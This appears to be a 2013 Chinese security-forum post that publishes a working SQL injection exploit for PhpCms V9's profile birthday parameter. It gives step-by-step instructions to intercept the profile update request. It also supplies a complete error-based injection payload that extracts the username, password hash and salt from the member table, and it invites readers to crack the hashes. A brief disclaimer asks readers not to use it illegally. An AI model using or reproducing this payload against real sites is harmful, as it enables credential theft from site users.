PhpCms V9 info[birthday]注入利用

2013-02-04 23:47:02 13 3813 1


既然官方已经确认了，那就发一下所谓的EXP吧。权当交流，大家测试即可，请勿用于非法。

注册后登录，找到个人资料，修改生日，拦截数据包或者直接firebug找到info[birthday]，将其修改如下：
info[birthday=(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select concat(username,0x3a, password, 0x3a, encrypt) FROM `v9_member` WHERE 1 limit 1),1,62)))a from information_schema.tables group by a)b)]
即可爆出username+hash+salt 。能不能破解出来就看诸位RP了。
类别 Web安全

关于作者

BinAry48篇文章657篇回复

BinAry
13

评论13次

要评论？请先  登录  或  注册